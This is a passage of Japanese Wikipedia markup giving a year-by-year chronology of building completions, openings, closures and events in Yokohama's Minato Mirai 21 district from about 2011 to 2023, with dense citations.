** [[日清食品]]による「[[安藤百福発明記念館 横浜|安藤百福発明記念館]]」(カップヌードルミュージアム)が11-2街区に開業。
* 2012年
** [[三井不動産]]による複合オフィスビル「[[横浜三井ビルディング]]」が67街区に完成。同年7月10日には低層部商業施設のテツモポート内に「[[原鉄道模型博物館]]」が開館。
** 暫定利用施設(借地契約)であった45・46街区の「[[横浜ジャックモール]]」が営業を終了した。
* 2013年
** [[臨港幹線道路]]の一部である、国際大通り地下部分(本線)の「みなとみらいトンネル」が開通<ref name="carsensor130403"/><ref name="hamarepo130308"/>。これにより国際大通りが全面供用開始。
** [[三菱地所]]によるMM地区最大級の商業施設「[[MARK IS みなとみらい]]」が34街区に開業。また、開業2ヵ月後には施設内5階に大自然体感型の[[エンターテインメント]]施設「[[Orbi Yokohama]]」(オービィ横浜)がオープンした。
** [[アウディ|アウディジャパン]]による国内最大級のショールーム「[[Audi みなとみらい]]」が11-2街区に開業。
** [[GENTO YOKOHAMA]]内のライブハウス「[[横浜BLITZ]]」が約9年の歴史に幕を下ろし閉鎖となった。
** ブライダル・プロデュースによる[[ブライダル]]関連複合施設「[[グランドオリエンタルみなとみらい]]」が11-2街区に開業。
* 2014年
** [[アトラシアン]]の日本オフィスが[[マリノスタウン]]{{small|(61街区)}}内に移転{{small|(※同施設の閉鎖に伴い、翌2015年には[[馬車道 (横浜市)|馬車道地区]]に再移転している)}}。横浜市が推進するIT産業振興の一環として、同市の誘致活動により実現した<ref name="atlassian-press">{{PDFlink|[http://www.nikkan.co.jp/newrls/pdf/20140121-08.pdf アトラシアン、日本オフィスを横浜みなとみらい 21・マリノスタウンに移転]}}(アトラシアン:プレスリリース 2014年1月21日/[[日刊工業新聞]]企業発表ページ内)</ref><ref name="yokohama-keizai-atlassian">[https://web.archive.org/web/20160304205218/http://www.city.yokohama.lg.jp/keizai/happyou/h25/20140121yuchi.html チーム向けコラボレーション・ソフトウェアのリーディングカンパニーであるアトラシアン株式会社が横浜市・みなとみらい地区に進出しました!](横浜市経済局 平成26年 {{small|(2014年)}} 1月21日)</ref><ref name="rbb-today-atlassian">[https://www.rbbtoday.com/article/2014/01/31/116447.html アトラシアン、横浜市からの誘致で“みなとみらい21”に日本オフィスを移転](RBB TODAY 2014年1月31日)</ref><ref name="internet.com-atlassian">[http://japan.internet.com/m/busnews/20140128/11.html アトラシアン、日本オフィスを「横浜みなとみらい21」へ--プレジデントに聞く日本市場拡大の展望](インターネットコム 2014年1月28日)</ref>。
** [[アニヴェルセル]]によるブライダル関連施設「[[アニヴェルセル みなとみらい横浜]]」が16街区に開業(土地は30年間の[[定期借地権|定期借地]]<ref name="hamarepo120420"/>)。
** [[清水建設]]による複合オフィスビル「[[横浜アイマークプレイス]]」が[[横浜ジャックモール|ジャックモール]]跡地(46街区)に完成<!--(MM21-46街区プロジェクト(仮称))--><ref name="shimizu-mm46">[http://www.mm46.jp/ (仮称)MM21-46街区プロジェクト公式サイト](清水建設)</ref><ref name="shimizu140331">[http://www.shimz.co.jp/theme/invest/topics/topics18.html 「横浜アイマークプレイス」 DBJ Green Building認証を受領](清水建設 2014年3月31日)</ref>。
** 岡田ビルによる自動車ショールーム([[ポルシェ]]・[[BMW]]・[[ミニ (BMW)|ミニ]])・店舗([[ニトリ]]・[[AOKIホールディングス|AOKI]])からなる商業施設「[[PRYME GALLERY みなとみらい]]」<!--岡田ビルMM43街区暫定商業施設-->が43街区に開業<ref name="nikkei140303">[http://www.nikkei.com/article/DGKDASFB2002J_T00C14A3EB2000/ 横浜・みなとみらい、輸入車販売の激戦区に ポルシェ・BMW…続々開業](日本経済新聞{{small|〈電子版〉}} 2014年3月3日)</ref><ref name="response140404">[http://response.jp/article/2014/04/04/220523.html みなとみらいBMW、4月4日オープン…国内最大級のショールーム](レスポンス 2014年4月4日)</ref><!--(岡田ビルMM43街区計画(仮称)-->。なお、10年間の暫定施設となる見込み<ref name="kanaloco130914">[https://www.kanaloco.jp/news/economy/entry-41293.html MM21地区43街区に新施設、輸入車販売店が核/横浜](神奈川新聞{{small|〈カナロコ〉}} 2013年9月14日)</ref>。
** 49街区に[[シンクロン]]本社ビルの新館(2008年完成の本社ビルに増築)が完成。
* 2015年
** 暫定利用施設(10年間借地契約)であった53街区の「[[GENTO YOKOHAMA]]」が、当初の予定通り開業から約10年で営業を終了<ref name="hamakei141102">[http://www.hamakei.com/headline/9139/ MM21地区の複合娯楽施設「GENTO YOKOHAMA」が2015年1月25日に閉店](ヨコハマ経済新聞 2014年11月2日)</ref>。
** <!--三菱地所による-->8階建ての研修施設「[[MUFG グローバルラーニングセンター]]」<ref name="shinkenchiku-mufg"/><ref name="agorabrix-mufg"/><ref name="kanagawa-architecture-concours59"/><ref name="mm21-netsukyokyu-mufg-global"/><!--建物には「グローバルラーニングセンター」と表記されている(正式名称にMUFGが入らない場合は修正〈ただし記事を作成する場合、「グローバルラーニングセンター」は汎用的な言葉であるため、後述の施設使用企業に変更がないなら区別する意味で「MUFG」を付記するか曖昧さ回避の処置を行ったほうがよい〉、なお「[[みなとみらい21熱供給]]」の項でもMUFGを付けて記入している)-->(<!--2016年〜2017年頃を目処に-->[[三菱UFJフィナンシャル・グループ]]が1000人規模の研修施設を開設<ref name="nikkei131008"/>、企業向け宿泊施設なども完備)がジャックモール跡地(45街区)に完成<ref name="kanaloco130529"/>。
** 新港地区(6-1街区・[[新港 (横浜市)#新港埠頭の岸壁|新港客船ターミナル]]区域内)の展示施設「[[新港ピア]]」が閉鎖となった。
** [[Apple]]が[[アメリカ合衆国|米国]]以外では初の研究開発拠点となる「テクニカル・デベロップメント・センター」を当地区の「[[横浜アイマークプレイス]]」内に設置<!--2015年度(同年春以降、2016年2月頃までに)設置--><ref name="kanaloco141227"/><ref name="macotakara160227"/><ref name="doda-apple16"/><ref group="注" name="apple-mmtdc"/>。
* 2016年
** [[横浜F・マリノス]]のクラブハウスなどが[[新横浜]]地区へ完全移転することとなり、61街区の「[[マリノスタウン]]」(''10年間の暫定施設'')は当初の借用期間<!--(この年の5月まで)-->通り閉鎖した<ref name="gekisaka150521">[http://web.gekisaka.jp/news/detail/?163495-163495-fl 横浜FM、マリノスタウンからの移転を公式発表、来年1月から新横浜へ](ゲキサカ 2015年5月21日)</ref>。また、隣接地・60街区の「[[横浜みなとみらいスポーツパーク]]」も3月末をもって運営終了となった<ref name="hamakei150702">[http://www.hamakei.com/photoflash/2178/ みなとみらい60街区の「横浜みなとみらいスポーツパーク」が2016年3月31日に運営終了](ヨコハマ経済新聞 2015年7月2日)</ref>{{refn|group="注"|name="mm-sportpark-zantei"|ただし、「横浜みなとみらいスポーツパーク」は2016年3月末の閉館後も同年5月1日〜2017年11月末まで期間限定で暫定運営を行っていた<ref name="mm-sportpark160421">{{PDFlink|[https://web.archive.org/web/20171112021138/http://www.yspc.or.jp/mmsp_ysa/image/20160421092445_ucVAshmm.pdf 横浜みなとみらいスポーツパークの暫定運営について]}}(公益財団法人横浜市体育協会 2016年4月21日)/[http://www.yspc.or.jp/mmsp_ysa/2016/04/BM_1461198469444.html 暫定運営について(2016年5月1日~)](横浜みなとみらいスポーツパーク 公式サイト 2016年4月21日)</ref><ref name="mm-sportpark170207">[http://yspc.or.jp/mmsp_ysa/category/info/BM_1486436298329/ 「横浜みなとみらいスポーツパーク」の暫定運営期間の延長について](横浜みなとみらいスポーツパーク 公式サイト 2017年2月7日、''2017年3月19日閲覧'')</ref>。}}。
** [[三菱商事都市開発]]による低層分棟型の商業施設「[[MARINE & WALK YOKOHAMA]]<!--(マリン アンド ウォーク ヨコハマ)-->」が赤レンガ倉庫近くの4街区に開業<ref name="kanaloco130726">[https://www.kanaloco.jp/news/economy/entry-117890.html MM21・新港地区に新商業施設、15年オープン/横浜](神奈川新聞{{small|〈カナロコ〉}} 2013年7月26日)</ref><ref name="fashion-press151001">[https://www.fashion-press.net/news/19322 新商業施設マリン アンド ウォーク ヨコハマ - 横浜赤レンガ倉庫に隣接して誕生](ファッションプレス 2015年10月1日)</ref>。
** 新港地区(6-1街区・新港客船ターミナル区域内)の[[東京芸術大学|東京藝術大学]]「大学院映像研究科新港校舎」が閉鎖{{small|(※[[山下町 (横浜市)|山下町]]の元町中華街新校舎へ移転)}}となった<ref>[https://news.mynavi.jp/techplus/article/20160121-a055/ 神奈川県・横浜みなとみらいで東京藝大大学院生が制作した芸術作品を展示](マイナビニュース 2016年1月21日)</ref>。
** 59街区に[[オーケー]]の本社ビルが完成。低層部は店舗などとし、岡田ビルによる同街区の複合高層ビル(後述)と一体開発する<ref name="hamarepo130127-ok"/>。
** 55-2街区に[[学校法人みなとみらい学園|みなとみらい学園]](旧:鶴見歯科学園)の校舎が完成。建物内には[[歯科]][[診療所]]や[[ギャラリー (美術)|ギャラリー]]、[[カフェ]]、商業店舗なども併設<ref name="yokohama-mm55-2-140327">{{PDFlink|[https://www.city.yokohama.lg.jp/city-info/zaisei/shiyuchi/jouho/hoyutochi/mirai21/mm5556.files/0005_20180718.pdf みなとみらい21地区55-2街区の事業予定者を決定しました]〈[https://web.archive.org/web/20210904160323/https://www.city.yokohama.lg.jp/city-info/zaisei/shiyuchi/jouho/hoyutochi/mirai21/mm5556.files/0005_20180718.pdf アーカイブ]〉}}(横浜市財政局資産経営課 平成26年 {{small|(2014年)}} 3月27日)</ref><ref name="kentsu140328">[http://www.kentsu.co.jp/webnews/html_top/140327400029.html 鶴見歯科学園 みなとみらいに新校舎](建通新聞{{small|〈電子版〉}} 2014年3月28日/神奈川)</ref>。
** 47街区の暫定施設([[オートバックスセブン|スーパーオートバックス]]や[[ピーシーデポコーポレーション|PC DEPOT]]、[[西松屋]]、[[LIXIL]]ショールーム)が今後の再開発に伴い閉鎖となった{{small|(土地は三菱地所が所有)}}<ref name="mitsubishi jisho161027"/><ref name="hamarepo161129"/>。
[[画像:Kinoshita-circus in Yokohama 2017.jpg|thumb|木下大サーカスのテントとみなとみらいのビル群(2017年5月)]]
* 2017年
** [[横浜野村ビル]](事業者:[[野村不動産]]・[[野村総合研究所]])が46街区に完成<ref name="MM-info85"/><ref name="nomura-fudosan150227"/>。
** 61街区(マリノスタウン跡地)の<!--横浜みなとみらい-->特設会場で「[[木下大サーカス]]」の横浜公演開催<ref name="hamakei170226">[http://www.hamakei.com/photoflash/3260/ マリノスタウン跡地で「木下大サーカス」 奇跡のホワイトライオン世界猛獣ショーも](ヨコハマ経済新聞 2017年2月26日)</ref>{{refnest|group="注"|当地区での開催は1996年と2004年に続き3回目となる<!--2013年は北仲通南地区(JR桜木町駅前特設会場)で開催--><ref>[http://www.kinoshita-circus.co.jp/htmls/prof/prof-03.htm 木下サーカス 会社概要:活躍のフィールド(日本)](木下サーカス公式サイト内)</ref>。}}。
** [[全国都市緑化フェア|第33回全国都市緑化よこはまフェア]](ガーデンネックレス横浜2017)開催。「みなとガーデン」として、当地区では[[グランモール公園]]や[[象の鼻パーク]]、[[新港 (横浜市)#緑地整備|新港中央広場]]、[[汽車道|運河パーク]]が会場となっている<ref>[https://web.archive.org/web/20180109235407/http://www.city.yokohama.lg.jp/kankyo/ryokkafair/mainkaijou.html 第33回全国都市緑化よこはまフェア<メイン会場>]/{{PDFlink|[https://web.archive.org/web/20180109235411/http://www.city.yokohama.lg.jp/kankyo/ryokkafair/images/160601/160601-07-04minato.pdf みなとガーデン概要]}}(横浜市環境創造局)</ref><ref>[http://yokohama-fair2017.city.yokohama.lg.jp/venue/minato/ 会場のご案内:みなとガーデン]〈[https://web.archive.org/web/20170602045010/http://yokohama-fair2017.city.yokohama.lg.jp/venue/minato/ アーカイブ]〉(第33回全国都市緑化よこはまフェア公式サイト内)</ref>。
** 59街区に岡田ビルによる27階建ての複合高層ビル「[[PRYME COAST みなとみらい]]」(ホテル・集合住宅・商業施設)が完成<!--(ホテル:[[ビスタホテルマネジメント|ビスタホテルグループ]]が運営する「ホテルビスタプレミオ横浜[みなとみらい]」→[[ソラーレ ホテルズ アンド リゾーツ]]が運営する「ザ・スクエアホテル横浜みなとみらい」)-->。
** [[オーシャンゲートみなとみらい]](事務所棟)とブランズタワーみなとみらい(集合住宅棟)の2棟からなる、[[東急不動産]]による高層複合施設が32街区に完成<ref name="nikkei140624">[http://www.nikkei.com/article/DGXNZO73259960U4A620C1L71000/ 東急不、MM21に大型複合ビル計画 駅・展示場近く](日本経済新聞{{small|〈電子版〉}} 2014年6月24日)</ref><ref name="decn140626">[http://www.decn.co.jp/?p=14247 東急不/MM32街区(横浜市西区)に業務・共同住宅2棟建設/設計は清水建設](日刊建設工業新聞 2014年6月26日5面)</ref><ref name="yuran-MM32-140626">[http://building-pc.cocolog-nifty.com/helicopter/2014/06/post-ca57.html 横浜みなとみらい21地区「(仮称)みなとみらい21、32街区プロジェクト」の詳細が判明!](東京・大阪 都心上空ヘリコプター遊覧飛行 2014年6月26日)</ref>。
** 44街区の再開発事業(南区画)に伴い、暫定商業施設「[[アルカエフ]]」の[[セキチュー]](メインテナント)などが閉店<ref name="with-camera170816">[http://blog.goo.ne.jp/taro-x/e/bfd618f4b4987eb09d6648034700a857 横浜・みなとみらい地区周辺 最近の話 2017年8月 その2](with Camera/港北太郎 2017年8月16日/[[archive.is|archive.today]]による[https://archive.is/lxLKD 2020年7月14日時点のアーカイブ])</ref>。
** [[日本丸メモリアルパーク]]内の展示[[乾ドック|ドック]]に繋留保存されている帆船[[日本丸 (初代)|日本丸]]が<!--[[文化審議会]]文化財分科会の答申により-->国の[[重要文化財]]に指定<ref name="hamakei170317">[http://www.hamakei.com/headline/10056/ 「帆船日本丸」が国の重要文化財に指定 3月20日の満船飾にあわせ帆船日本丸・横浜みなと博物館が入館無料に](ヨコハマ経済新聞 2017年3月17日)</ref>。
** クイーンズスクエア横浜内のショッピングエリア「クイーンズイースト」と「[アット!]」が統合され、「[[みなとみらい東急スクエア]]」としてリニューアルオープン<ref name="tokyu170426">[http://www.tokyu.co.jp/information/list/?id=941 「クイーンズスクエア横浜[アット!]」と「クイーンズイースト」を統合し、2017年秋に「みなとみらい東急スクエア」としてリニューアル](東急電鉄:お知らせ 2017年4月26日)</ref><ref name="hamakei170426">[https://www.hamakei.com/headline/10105/ 2017年秋に「みなとみらい東急スクエア」が誕生 「クイーンズスクエア横浜[アット!]」と「クイーンズイースト」が統合](ヨコハマ経済新聞 2017年4月26日)</ref><ref name="fashion-press171002">[https://www.fashion-press.net/news/33954 商業施設「みなとみらい東急スクエア」シェイクシャック、スタージュエリー ガールが神奈川県初出店](ファッションプレス 2017年10月2日)</ref><ref name="allabout171027">[https://news.allabout.co.jp/articles/o/22712/ 「みなとみらい東急スクエア」がグランドオープン!15店舗が新規出店](All About NEWS 2017年10月27日)</ref>。
* 2018年
** 横浜市は当地区内の廃棄物処理管路収集事業(ごみを一元集積するシステム)<ref name="shigenkousya-kanrosyusyu"/>を2017年度末に廃止<ref group="注" name="gomi-kanrosyusyu"/><ref name="kanaloco140112"/><ref name="hamarepo160428"/><ref name="asahi180325"/>。
** 横浜市ではこの年の4月から2028年3月までの10年間、57街区の一部(約9,000m{{sup|2}})に「[[横浜市立みなとみらい本町小学校|市立みなとみらい本町小学校]]」(同[[横浜市立本町小学校|本町小学校]]から分離新設)を期間限定開校する方針<ref name="minatomiraihoncho-shogako"/><ref name="hamarepo3253"/><ref name="msn20140830"/><ref name="kanaloco140829"/><ref name="kanaloco160220"/>。
** 56-2街区に建設される[[資生堂]]の研究開発拠点「[[資生堂グローバルイノベーションセンター|グローバルイノベーションセンター]]:S/PARK (エスパーク)」が同年末より順次稼働。なお、翌年4月には低層部のにぎわい施設も含めて全面開業している<ref name="sankei150326">[http://www.sankei.com/economy/news/150326/ecn1503260042-n1.html 資生堂が横浜MM地区に新研究所 3年後稼働、観光客や会社員のアイデア吸収へ](産経ニュース 2015年3月26日付、''2015年3月26日閲覧{{small|〈[https://megalodon.jp/2015-0326-2019-45/www.sankei.com/economy/news/150326/ecn1503260042-n1.html 同日付のウェブ魚拓キャッシュ]〉}}'')</ref><ref name="kanaloco150327">[https://www.kanaloco.jp/news/economy/entry-57820.html 資生堂、MMに研究所 18年から順次稼働](神奈川新聞{{small|〈カナロコ〉}} 2015年3月27日)</ref><ref name="kensetsunews160413">[http://www.kensetsunews.com/?p=64125 資生堂/MM21に6万m{{sup|2}}研究施設/鹿島で10月着工](建設通信新聞 2016年4月13日付:関東面/[[archive.is|archive.today]]による[https://archive.vn/92a1q 2016年4月19日時点のアーカイブ])</ref><ref name="zaiseikyoku150326">{{PDFlink|[https://www.city.yokohama.lg.jp/city-info/zaisei/shiyuchi/jouho/hoyutochi/mirai21/mm5556.files/0001_20180718.pdf みなとみらい21地区56-2街区の事業予定者を決定しました]〈[https://web.archive.org/web/20210904160324/https://www.city.yokohama.lg.jp/city-info/zaisei/shiyuchi/jouho/hoyutochi/mirai21/mm5556.files/0001_20180718.pdf アーカイブ]〉}}(横浜市財政局資産経営課 平成27年 {{small|(2015年)}} 3月26日)</ref><ref name="shiseido-spark"/>。
* 2019年
** 41街区の集合住宅「みなとみらいミッドスクエア ザ・タワーレジデンス」低層部にある[[TSUTAYA]]上階に[[ミニシアター]]「[[kino cinéma 横浜みなとみらい|kino cinéma (キノシネマ) 横浜みなとみらい]]」([[キノフィルムズ]]の関連会社が運営)が開館<ref name="hamarepo190226"/><ref name="kinocinema"/>。
** 48街区で暫定施設として運営されていた「[[横浜アンパンマンこどもミュージアム]]」{{refnest|group="注"|name="yokohama-anpanman-name"|移転前の施設名は「横浜アンパンマンこどもミュージアム&モール」であったが、移転を機に同施設の開業当初の名称「横浜アンパンマンこどもミュージアム」に再改称した。}}が、61街区の一部区画にて移転開業(土地は30年間の定期借地)<ref name="city-yokohama160328"/><ref name="kanaloco160329"/><ref name="ACM-press180827"/>。
** [[京急グループ本社]]が56-1街区に完成。また、建物1階部分には保存車両の展示などを行う「[[京急ミュージアム]]」も翌年1月に開設している<ref name="city-yokohama160328">[https://web.archive.org/web/20190329112754/https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/zaisei/2015/20160328-044-22929.html みなとみらい21地区54街区、56-1街区及び61街区(一部)の事業予定者を決定しました]/{{PDFlink|[https://web.archive.org/web/20201025022919/https://www.city.yokohama.lg.jp/city-info/zaisei/shiyuchi/jouho/hoyutochi/mirai21/mm5354.files/0001_20180718.pdf 詳細資料{{small|〈記者発表資料〉}}]}}(横浜市記者発表資料{{small|〈同市財政局ほか〉}} 平成28年 {{small|(2016年)}} 3月28日)</ref><ref name="keikyu160328">{{PDFlink|[http://www.keikyu.co.jp/file.jsp?assets/pdf/company/news/2015/20160328HPTK.pdf みなとみらい 21 中央地区 56-1 街区における事業予定者への決定に関するお知らせ]〈[https://web.archive.org/web/20180123145648/http://www.keikyu.co.jp/file.jsp?assets/pdf/company/news/2015/20160328HPTK.pdf アーカイブ]〉}}(京浜急行電鉄株式会社 2016年3月28日)</ref>。
** 新港地区(6-1街区)で整備が進められていた[[新港 (横浜市)#新港埠頭の岸壁|客船岸壁]]と新たな客船ターミナル複合施設「[[横浜ハンマーヘッド]]」<ref name="YHH-official"/>([[横浜ハンマーヘッド#新港ふ頭客船ターミナル|新港ふ頭客船ターミナル]]や食をテーマとした商業施設、ホテルなどからなる)<!--計画名:「ヨコハマハンマーヘッドプロジェクト」〈YOKOHAMA HAMMERHEAD PROJECT〉-->が<!--秋頃に-->完成<ref name="kanaloco160229">[https://www.kanaloco.jp/news/economy/entry-72124.html 客船誘致へ岸壁整備 横浜の新港・大黒ふ頭で 五輪想定し18年度供用開始](神奈川新聞{{small|〈カナロコ〉}} 2016年2月29日)</ref><ref name="kensetsunews170127">[http://www.kensetsunews.com/?p=76909 横浜市新港地区客船ターミナル/対話会に2団体、3月に事業者公募](建設通信新聞 2017年1月27日付:関東面/[[ウェイバックマシン|Wayback Machine]]による[https://web.archive.org/web/20170202161523/http://www.kensetsunews.com/?p=76909 2017年2月2日時点のアーカイブ])</ref><ref name="mm21-2020-yhp">[http://minatomirai21.com/144660 【2019年秋OPEN予定】新港ふ頭客船ターミナルを中心とした複合施設](横浜みなとみらい21公式ウェブサイト:[http://minatomirai21.com/topics/145541 みなとみらい2020年未来図] 2019年1月18日)</ref><ref name="hamarepo190312">[http://hamarepo.com/story.php?story_id=7135 新たな「橋」も整備予定!? 開発進む新港ふ頭の「横浜ハンマーヘッド」はどうなる](はまれぽ.com 2019年3月12日)</ref>。また、客船施設の整備に合わせて海側隣接地(5街区)に現存する[[近代化産業遺産]]の[[クレーン#ジブクレーン|ハンマーヘッドクレーン]]についても、その周辺(約0.5ha)を緑地公園「[[横浜ハンマーヘッド#ハンマーヘッドパーク|ハンマーヘッドパーク]]」<ref name="hamarepo190312"/>として整備し、翌年8月にオープン<ref name="kanaloco161119">[https://www.kanaloco.jp/news/life/entry-4493.html 横浜港のクレーン第1号保存へ 「ハンマーヘッドクレーン」](神奈川新聞{{small|〈カナロコ〉}} 2016年11月19日)</ref><ref name="kanaloco181005">[https://www.kanaloco.jp/news/social/entry-37115.html ハンマーヘッド、土木遺産に 横浜・新港ふ頭](神奈川新聞{{small|〈カナロコ〉}} 2018年10月5日)</ref>。
=== 2020年代 ===
<!--今後の予定も含む。-->
[[画像:NISSAN PAVILION Yokohama.jpg|thumb|NISSAN PAVILION(2020年9月)]]
* 2020年
** 三菱地所による複合ビル「KTビル」(オフィス・ホテル・ライブハウス型ホール・店舗)が47街区(北区画)に完成<!--2019年度後期-->。完成後には[[コーエーテクモゲームス]]がオフィス部分とライブハウス型ホールを取得し本社を移転<ref name="mitsubishi jisho161027"/><ref name="city-yokohama161027"/>(ライブハウス型ホールの運営は[[Zepp|Zeppホールネットワーク]]に委託<ref name="kt-press170330"/><ref name="zepp170330"/><ref name="hamakei170330"/>)、また高層部のホテル部分には[[東急ホテルズ]]の「東急REIホテル」ブランドが出店する<ref name="tokyuhotels-press170330"/><ref name="yutosoken170331"/>。
** [[清水建設]]の大規模賃貸オフィスビル「[[横浜グランゲート]]」<!--(MM21-54街区プロジェクト{{small|(仮称)}})-->が54街区に完成<ref name="city-yokohama160328"/><ref name="shimizu-grangate">[https://mm54.jp/ 清水建設「YOKOHAMA GRANGATE(横浜グランゲート)」 公式サイト]</ref><ref name="shimizu160328">[http://www.shimz.co.jp/news_release/2016/2015068.html 約550億円を投じ、大規模賃貸オフィスビルを開発 ~(仮称)MM21-54街区プロジェクト~](清水建設 2016年3月28日)</ref>。
** [[ぴあ]]が38街区に収容客数1万人規模の大型[[演奏会|コンサート]][[アリーナ]]「[[ぴあアリーナMM]]」を開設<ref name="pia170720"/>(土地は30年間の定期借地<ref name="pia171109"/>)。
** <!--[[MICE]]機能<ref group="注" name="MICE"/>を拡張するため、-->[[横浜国際平和会議場]](パシフィコ横浜)と隣接する20街区において新[[コンベンション・センター|展示場]]「[[横浜みなとみらい国際コンベンションセンター]]」(パシフィコ横浜ノース)<ref name="yokohama-bunkakanko180215">{{PDFlink|[https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/bunka/2017/0215mice20meisyou.files/20180215.pdf みなとみらい21中央地区に整備している新MICE施設の正式名称と通称が決定しました!]〈[https://web.archive.org/web/20220407094346/https://www.city.yokohama.lg.jp/city-info/koho-kocho/press/bunka/2017/0215mice20meisyou.files/20180215.pdf アーカイブ]〉}}(横浜市文化観光局MICE振興課 平成30年 {{small|(2018年)}} 2月15日)</ref>が<!--4月-->開業<ref name="nikkei140321">[http://www.nikkei.com/article/DGXNZO68635580Q4A320C1L82000/ MM21の新国際展示場、PFI方式で整備へ 20年度開業見通し](日本経済新聞{{small|〈電子版〉}} 2014年3月21日)</ref><ref name="kentsu140324">[http://www.kentsu.co.jp/webnews/html_top/140324400009.html 横浜市 新たなMICE施設整備、PFIで](建通新聞{{small|〈電子版〉}} 2014年3月24日/神奈川)</ref><ref name="yuuran-MM20-140702">[http://building-pc.cocolog-nifty.com/helicopter/2014/07/micepfi-c5b5.html 横浜みなとみらい21地区 みなとみらい21中央地区20街区 新たなMICE施設整備](東京・大阪 都心上空ヘリコプター遊覧飛行 2014年7月2日)</ref><ref name="kanaloco150107"/>。また同街区内の隣接地には、[[リゾートトラスト]]による会員制[[ホテル#分類・種類(日本)|リゾートホテル]]「[[横浜ベイコート倶楽部 ホテル&スパリゾート]]」と一般高級ホテル「[[ザ・カハラ・ホテル&リゾート 横浜]]」も<!--9月-->開業<ref>[https://www.nikkei.com/article/DGKKZO2230854016102017L82000/ リゾートトラスト、みなとみらいに高級ホテル2軒 ベイコート倶楽部とカハラ・ホテル 20年夏市の整備事業の一環](日本経済新聞{{small|〈電子版〉}} 2017年10月17日)</ref>。
** 当地区内を経由する[[連節バス]]「[[横浜市営バス#ベイサイドブルー|ベイサイドブルー]]」が<!--7月-->運行開始<ref name="kanaloco181002"/>。
** [[日産自動車]]が体験型エンターテインメント施設<!--イベント-->「NISSAN PAVILION Yokohama(ニッサンパビリオン)」を61街区に<!--8月から10月まで-->期間限定開設<!--開催--><ref name="townnews190829">[https://www.townnews.co.jp/0113/2019/08/29/495180.html 日産自動車(株) 横浜市と連携協定 本社移転10周年を機に](タウンニュース{{small|〈中区・西区版〉}} 2019年8月29日号)</ref><ref name="townnews200813">[https://www.townnews.co.jp/0113/2020/08/13/538178.html 日産がMMに体験型施設 10月23日までの期間限定](タウンニュース{{small|〈中区・西区版〉}} 2020年8月13日号)</ref><ref name="nissan-pavilion">[https://www.nissan.co.jp/BRAND/PAVILION/ NISSAN PAVILION Yokohama 公式サイト](日産自動車)</ref>。
** [[村田製作所]]の研究開発拠点「[[村田製作所みなとみらいイノベーションセンター|みなとみらいイノベーションセンター]]」が47街区(南区画)に<!--9月-->完成<ref name="yokohama-keizaikyoku170626"/><ref name="murata170626"/><ref name="murata171129"/><ref name="nikkei170627"/><ref name="asahi170626"/>。
** 61街区(NISSAN PAVILION跡地)の<!--横浜みなとみらい-->特設会場で<!--2017年2月〜5月以来-->約4年ぶりに「[[木下大サーカス]]」の横浜公演開催(年末から<!--12月から-->翌年3月まで)<ref name="hamakei201029">[https://www.hamakei.com/headline/11090/ みなとみらいで「木下大サーカス横浜公演」 福祉施設に招待券5000枚寄贈](ヨコハマ経済新聞 2020年10月29日)</ref><!--当地区での開催は1996年と2004年、2017年に続き4回目となる(2013年は北仲通南地区(JR桜木町駅前特設会場)で開催)-->。
* 2021年
** [[首都高速道路]]神奈川局のオフィスビルが38街区に完成<ref name="MMAM-db38-syutoko"/>。
** [[神奈川大学]]が43街区(北区画)に「[[神奈川大学#みなとみらいキャンパス|みなとみらいキャンパス]]」を開設<ref name="hamakei170413">[https://www.hamakei.com/headline/10083/ 神奈川大学がMM21中央地区43街区に「みなとみらいキャンパス」 2021年4月に開設](ヨコハマ経済新聞 2017年4月13日)</ref>。
** [[よこはまコスモワールド]]を運営する[[泉陽興業]]により、[[桜木町駅]]前から運河パーク([[横浜ワールドポーターズ]]前)まで結ぶ[[索道|ロープウェイ]]「[[YOKOHAMA AIR CABIN]]」が開業予定。<ref name="kanaloco190213"/><ref name="hamarepo190215"/><ref name="kanaloco191126"/><ref name="tokyo-np191127"/><ref name="city-yokohama210113"/>。
** [[鹿島建設]]による複合オフィスビル「[[横濱ゲートタワー]]<!--プロジェクト-->」が58街区に完成<ref name="city-yokohama171020"/><ref name="built190404"/><ref name="kajima210714"/>。低層部には[[プラネタリウム]]「[[コニカミノルタプラネタリアYOKOHAMA]]」(2022年3月開業)も併設する<ref name="konicaminolta210901"/>。
** [[LGエレクトロニクス|LGグループ]]の研究開発拠点「[[LG YOKOHAMA INNOVATION CENTER]]<!--LG横浜イノベーションセンター/旧仮称:LGグローバルR&Dセンター-->」および賃貸オフィス複合ビルが55-1街区に完成<ref name="kensetsunews190604"/><!--同年11月竣工予定、2022年2月開業<ref name="yw201902"/>-->。
* 2022年
** ラグジュアリーホテル 「[[ウェスティンホテル横浜]]」および長期滞在型ホテル「The Apartment Bay YOKOHAMA」などからなる[[積水ハウス]]による複合ビルが44街区(南区画)に完成<!--(同年2月竣工、5月より順次開業)--><ref name="sekisui181130"/>。
** [[いすゞ自動車]]が58街区<!--で建設中-->の「横濱ゲートタワー」<!--(前年竣工)-->に本社を移転<!--(同年5月移転)--><ref name="city-yokohama191224"/><ref name="nikkei191224" /><ref name="asahi191224"/><ref name="nikkei220509"/>。
** 桜木町駅前から運河パーク(横浜ワールドポーターズ前)までを結びみなとみらいをまたがるロープウェイ「YOKOHAMA AIR CABIN」が完成し営業される。
* 2023年
** KRF48([[ケネディクス]]・[[パナソニック ホームズ|パナソニックホームズ]]・鹿島建設)によるオフィス・ホテル・店舗を主とした複合高層ビル「[[横浜コネクトスクエア]]」が37街区(北区画/[[三菱重工横浜ビル#隣接地における計画|三菱重工横浜ビル隣接地]])に完成<ref name="kensetsu-tsushin180508"/>。高層部のホテル部分には[[三井不動産ホテルマネジメント]]の「[[三井ガーデンホテル横浜みなとみらいプレミア]]」が開業。
** 新港地区(9街区)に国の15機関<!--2016年12月の情報より1機関減少-->を移転集約した新[[合同庁舎]]<!--横浜地方合同庁舎{{small|(仮称)}}-->が完成予定<!--(完成目標:2022年度内)--><ref name="mm9-yokohama-godochosya"/><ref name="nikkei171130"/>。
** [[ケン・コーポレーション]]による収容客数2万人規模の音楽アリーナ「[[Kアリーナ横浜]]」・ホテル「[[ヒルトン横浜]]」・賃貸オフィス「[[Kタワー横浜]]」・展示施設などからなる60・61街区(北側半分程の区画)大規模複合開発「ミュージックテラス」が完成<ref name="city-yokohama171108"/><ref name="mlit190222"/><ref name="kanaloco190225"/><ref name="kencorp-k-arena"/><ref name="kencorp211116"/>。
* 2024年
